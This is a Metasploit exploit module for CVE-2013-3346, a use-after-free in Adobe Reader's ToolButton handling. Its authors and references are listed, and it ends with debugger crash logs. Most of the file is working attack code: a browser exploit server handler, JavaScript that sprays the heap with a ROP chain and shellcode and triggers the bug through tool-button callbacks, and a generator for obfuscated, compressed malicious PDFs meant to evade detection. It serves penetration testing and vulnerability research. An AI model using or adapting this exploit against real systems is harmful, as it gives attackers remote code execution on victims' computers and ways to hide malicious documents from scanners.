Adobe Reader ToolButton Use After Free

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Reader ToolButton Use After Free",  
'Description' => %q{  
This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6  
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where  
the cEnable callback can be used to early free the object memory. Later use of the object  
allows triggering the use after free condition. This module has been tested successfully  
on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in  
November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order  
to exploit Adobe Reader 9 the fileformat version of the exploit can be used.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Soroush Dalili', # Vulnerability discovery  
'Unknown', # Exploit in the wild  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-3346' ],  
[ 'OSVDB', '96745' ],  
[ 'ZDI', '13-212' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],  
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => Msf::OperatingSystems::WINDOWS,  
:os_flavor => Msf::OperatingSystems::WindowsVersions::XP,  
:ua_name => Msf::HttpClients::IE  
},  
'Targets' =>  
[  
[ 'Windows XP / IE / Adobe Reader 10/11', { } ],  
],  
'Privileged' => false,  
'DisclosureDate' => "Aug 08 2013",  
'DefaultTarget' => 0))  
  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("request: #{request.uri}")  
js_data = make_js(cli, target_info)  
# Create the pdf  
pdf = make_pdf(js_data)  
print_status("Sending PDF...")  
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })  
end  
  
def make_js(cli, target_info)  
# CreateFileMappingA + MapViewOfFile + memcpy rop chain  
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))  
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))  
escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))  
  
js = %Q|  
function heapSpray(str, str_addr, r_addr) {  
var aaa = unescape("%u0c0c");  
aaa += aaa;  
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;  
var i1 = r_addr - 0x24;  
var bbb = aaa.substring(0, i1 / 2);  
var sa = str_addr;  
while (sa.length < (0x0c0c - r_addr)) sa += sa;  
bbb += sa;  
bbb += aaa;  
var i11 = 0x0c0c - 0x24;  
bbb = bbb.substring(0, i11 / 2);  
bbb += str;  
bbb += aaa;  
var i2 = 0x4000 + 0xc000;  
var ccc = bbb.substring(0, i2 / 2);  
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;  
var i3 = (0x1020 - 0x08) / 2;  
var ddd = ccc.substring(0, 0x80000 - i3);  
var eee = new Array();  
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";  
return;  
}  
var shellcode = unescape("#{escaped_payload}");  
var executable = "";  
var rop10 = unescape("#{rop_10}");  
var rop11 = unescape("#{rop_11}");  
var r11 = false;  
var vulnerable = true;  
  
var obj_size;  
var rop;  
var ret_addr;  
var rop_addr;  
var r_addr;  
  
if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {  
obj_size = 0x360 + 0x1c;  
rop = rop10;  
rop_addr = unescape("%u08e4%u0c0c");  
r_addr = 0x08e4;  
ret_addr = unescape("%ua8df%u4a82");  
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {  
r11 = true;  
obj_size = 0x370;  
rop = rop11;  
rop_addr = unescape("%u08a8%u0c0c");  
r_addr = 0x08a8;  
ret_addr = unescape("%u8003%u4a84");  
} else {  
vulnerable = false;  
}  
  
if (vulnerable) {  
var payload = rop + shellcode;  
heapSpray(payload, ret_addr, r_addr);  
  
var part1 = "";  
if (!r11) {  
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");  
}  
part1 += rop_addr;  
var part2 = "";  
var part2_len = obj_size - part1.length * 2;  
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");  
var arr = new Array();  
  
removeButtonFunc = function () {  
app.removeToolButton({  
cName: "evil"  
});  
  
for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);  
}  
  
addButtonFunc = function () {  
app.addToolButton({  
cName: "xxx",  
cExec: "1",  
cEnable: "removeButtonFunc();"  
});  
}  
  
app.addToolButton({  
cName: "evil",  
cExec: "1",  
cEnable: "addButtonFunc();"  
});  
}  
|  
  
js  
end  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj \n" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
#return str  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
  
def make_pdf(js)  
xref = []  
eol = "\n"  
endobj = "endobj" << eol  
  
# Randomize PDF version?  
pdf = "%PDF-1.5" << eol  
pdf << "%" << RandomNonASCIIString(4) << eol  
  
# catalog  
xref << pdf.length  
pdf << ioDef(1) << nObfu("<<") << eol  
pdf << nObfu("/Pages ") << ioRef(2) << eol  
pdf << nObfu("/Type /Catalog") << eol  
pdf << nObfu("/OpenAction ") << ioRef(4) << eol  
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load  
pdf << nObfu("/AcroForm ") << ioRef(6) << eol  
pdf << nObfu(">>") << eol  
pdf << endobj  
  
# pages array  
xref << pdf.length  
pdf << ioDef(2) << nObfu("<<") << eol  
pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol  
pdf << nObfu("/Count 1") << eol  
pdf << nObfu("/Type /Pages") << eol  
pdf << nObfu(">>") << eol  
pdf << endobj  
  
# page 1  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<<") << eol  
pdf << nObfu("/Parent ") << ioRef(2) << eol  
pdf << nObfu("/Type /Page") << eol  
pdf << nObfu(">>") << eol # end obj dict  
pdf << endobj  
  
# js action  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<<")  
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)  
pdf << nObfu(">>") << eol  
pdf << endobj  
  
# js stream  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))  
pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << endobj  
  
###  
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load  
###  
  
# form object  
xref << pdf.length  
pdf << ioDef(6)  
pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol  
pdf << endobj  
  
# form stream  
xfa = <<-EOF  
<?xml version="1.0" encoding="UTF-8"?>  
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">  
<config xmlns="http://www.xfa.org/schema/xci/2.6/">  
<present><pdf><interactive>1</interactive></pdf></present>  
</config>  
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">  
<subform name="form1" layout="tb" locale="en_US">  
<pageSet></pageSet>  
</subform></template></xdp:xdp>  
EOF  
  
xref << pdf.length  
pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol  
pdf << "stream" << eol  
pdf << xfa << eol  
pdf << "endstream" << eol  
pdf << endobj  
  
###  
# end form stuff for icucnv36.dll / icucnv40.dll  
###  
  
  
# trailing stuff  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
  
pdf << "trailer" << eol  
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol  
  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
  
pdf << "%%EOF" << eol  
pdf  
end  
  
end  
  
  
=begin  
  
* crash Adobe Reader 10.1.4  
  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001  
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213  
AcroRd32_60000000!PDFLTerm+0xbb7cd:  
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????  
  
* crash Adobe Reader 11.0.2  
  
(940.d70): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -  
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000  
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213  
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:  
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????  
  
=end  
  
`